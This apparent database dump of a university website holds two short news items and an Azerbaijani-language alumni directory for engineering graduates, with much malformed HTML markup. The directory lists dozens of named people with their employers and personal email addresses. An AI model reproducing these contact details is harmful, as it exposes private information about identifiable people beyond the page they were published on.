Dean of the school, Prof. Dr. Fatma Bıkmaz, and the Assistant Dean, Associate Professor Dilek Acer, welcomed him and gave him information about the school’s programs and courses. The administration of the School of Education emphasized the importance of implementing various exchange programs with Khazar University. Decisions were made to establish close ties between the two universities’ Schools of Education, including preparation of proposals on programs related to all fields of education.&nbsp;</p><p>The school administration thanked Prof. Isaxanli for his visit.&nbsp;</p>'),(3005,1778,'en','School of Humanities and Social Sciences and School of Engineering and Applied Sciences Meet with Alumni','On December 22, 2016, the university administration held a meeting with fourteen 2016 bachelor-level graduates of the School of Humanities and Social Sciences as well as five...','<p>On December 22, 2016, the university administration held a meeting with fourteen 2016 bachelor-level graduates of the School of Humanities and Social Sciences as well as five graduates of the School of Engineering and Applied Sciences. Participants in the meeting included President Hassan Niknafs; Professor Mahammad Nuriyev, Vice President for Academic Affairs; Associate Professor Jabir Khalilov, Dean of the School of Humanities and Social Sciences; and Baba Bayramli, Director of the Center for Alumni Relations. The objective of the meeting was to maintain relationships with alumni and discuss their future plans.&nbsp;</p><p>At the end of the meeting, alumni shared their thoughts and impressions of the university.</p>'),(2528,1525,'az','Mühəndislik və Tətbiqi Elmlər Fakültəsi','Mühəndislik və Tətbiqi Elmlər Fakültəsi','<p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\" \");=\"\" text-align:=\"\" right;\"=\"\"><strong> <a href=\"#A\">A</a> <a href=\"#C\">C</a> <a href=\"#D\">D</a>&nbsp;<a href=\"#E\">E</a> <a href=\"#Ə\">Ə</a> <a href=\"#F\">F</a> <a href=\"#G\">G</a> <a href=\"#J \">J </a>&nbsp;<a href=\"#İ\">İ</a>&nbsp;<a href=\"#H \">H </a> <a href=\"#K \">K </a> <a href=\"#M\">M</a> <a href=\"#N\">N</a> <a href=\"#O\">O</a> <a href=\"#P\">P</a> <a href=\"#R\">R</a> <a href=\"#S\">S</a> <a href=\"#Ş\">Ş</a> <a href=\"#T\">T</a> <a href=\"#U\">U</a>  <a href=\"#Ü\">Ü</a> <a href=\"#V\">V</a> <a href=\"#Y\">Y</a> <a href=\"#Z\">Z</a></strong></p><h3 id=\"A\"><strong>A</strong></h3><p><strong>Ayşən Vəliyeva</strong>  <br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər Fakültəsi </p>\r\n<p>Kompüter Elmləri,\r\n2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:veliyeva.ayshen92@mail.ru\">veliyeva.ayshen92[at]mail.ru</a></p><p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Anar Haqverdiyev</strong>  <br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər Fakültəsi </p>\r\n<p>Kompüter Elmləri,\r\n2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:haqverdiyevanar@gmail.com\">haqverdiyevanar[at]gmail.com</a></p>\r\n<p>Wonderland əyləncə\r\nmərkəzi, Resepşn</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong><strong></strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong><strong>Aytəkin Nəbisoy</strong>&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Mühəndislik və Tətbiqi Elmlər fakültəsi  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Kompüter Elmləri  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Unibank İT&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">E-mail:&nbsp;<a href=\"http://mailtoInabisoyaytekin@gmail.com/\">nabisoyaytekin@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;-&nbsp;2009-2014</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Magistr -&nbsp;Xəzər Universiteti</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Anar İbayev</strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Aznext LLC/Texniki məsləhətçi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:anaribayev@gmail.com\">anaribayev@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong><strong>Aysel Bəşirova</strong></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislikvə TətbiqiElmlərfakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Kompüter mühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bank BTB</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"http://touch.mail.ru/compose/?mailto=mailto%3akhazar_189@mail.ru\" target=\"_blank\">khazar_189@mail.ru</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2012 Fərqlənmə</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Arzu İlqarlı</strong></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elektronika, telekommunikasiya və radiotexnika mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hərbi xidmətdədir  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Arzu Bayramova</strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter Elmləri</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Arzumbayramli@gmail.com\">Arzumbayramli@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Afaq Həsənli</strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter Elmləri</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yapikredit bank /It analiz uzre komekci</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:afaghasanly95@gmail.com\">afaghasanly95@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr, Fəxri 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\">  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Arzu Rəhimov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnşaat mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:engineer.rahimov@gmail.com\">engineer.rahimov@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><h3 id=\"C\" style=\"font-weight:bold\">B</h3><div><p><strong>Binnət Musayev</strong><strong> </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər Fakültəsi </p>\r\n<p>Kompüter Elmləri,\r\n2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:binnetmusayev@gmail.com\">binnetmusayev[at]gmail.com</a></p>\r\n<p>Sapienza\r\nUniversiteti, Magistr</p>  <br></div><h3 id=\"C\" style=\"font-weight:bold\">C</h3> <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Cavid Atakişiyev </strong> <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Cavidgs@gmail.com\">Cavidgs@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"font-weight: bold; background-image: url(\"><strong>Cavid Hacızadə&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Mühəndislik və Tətbiqi Elmlər fakültəsi&nbsp;  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Neft və Qaz mühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azertexnolayn (Polad Boru Zavodu)&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Keyfiyyətə nəzarət üzrə mühəndis</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:engineer_hajizadeh@mail.ru\">engineer_hajizadeh@mail.ru</a>&nbsp;,&nbsp;&nbsp;<a href=\"mailto:cavid.hacizade@azertexnolayn.com\">Cavid.Hacizade@azertexnolayn.com</a>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr &nbsp;2012  </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Magistr : ADNSU&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Cavid Səlimov</strong><strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Neft və qaz mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:cavid94@bk.ru\">cavid94@bk.ru cavidsalimov@yahoo.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Cavid Qurbanov</strong>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Neft mühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">SOCAR , FSSA&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Deck Boss -&nbsp;Geokinetics Inc&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp;&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MSc. Neft mühəndisliyi (2013-2014 , Heriot- Watt Universiteti , BB Şotlandiya,\r\nEdinburq)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr&nbsp;2008-\r\n2012</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Cəvahir Hacıyeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnşaat mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:Cobolito@gmail.com\">Cobolito@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><br><h3 id=\"D\" style=\"font-weight:bold\">D</h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Davud Hüseynzadə</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Neft və Qaz mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">SOCAR AQS Yeni texnologiyalar ve texniki limit muhendis</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:Davudhuseynzade@gmail.com\">Davudhuseynzade@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr Fəxri 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3 id=\"E\">E</h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Eldar Mənsimov</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Neftvə Qazmühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">SOCAR- Qazmamühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:eldarmansimov@gmail.com\">eldarmansimov@gmail.com</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008-2013&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Magistr 2017-2019 Sakarya Universiteti,Türkiyə-Geofizika\r\nMühəndisliyi</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><strong></strong><br><h3 style=\"font-weight:bold;display:inline !important\" id=\"Ə\"><strong>Ə</strong></h3><div><h3 style=\"font-weight:bold;display:inline !important\"><strong></strong></h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Əbdüləli Əliyev</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">HUAWAI (Chinese company)</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:abdulalialiyev@outlook.com\">abdulalialiyev@outlook.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"F\" style=\"font-weight:bold\">F</h3><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Fərid İsmayılov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Neft-Qaz &nbsp;mühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Çex Texniki Universiteti</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Sr.farid@yahoo.com\">Sr.farid@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr, Fəxri 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Fazil Bağırzadə</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Eurodizayn şirkəti/Şəbəkə mühəndisi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:bagirzadeh.fazil@gmail.com\">bagirzadeh.fazil@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Fərid Cəfərzadə</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnformatika</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Magistır 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Fuad Cənnətov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Neft-Qaz &nbsp;mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Socar AQS de Yeni texnologiyalar ve texniki limit shobesinde Muhendis</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Fuad.jannatov@yahoo.com\">Fuad.jannatov@yahoo.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Fərid Əmiraslanlı</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnşaat mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:faridamiraslanli@gmail.com\">faridamiraslanli@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr, Fəxri 2016</p><hr 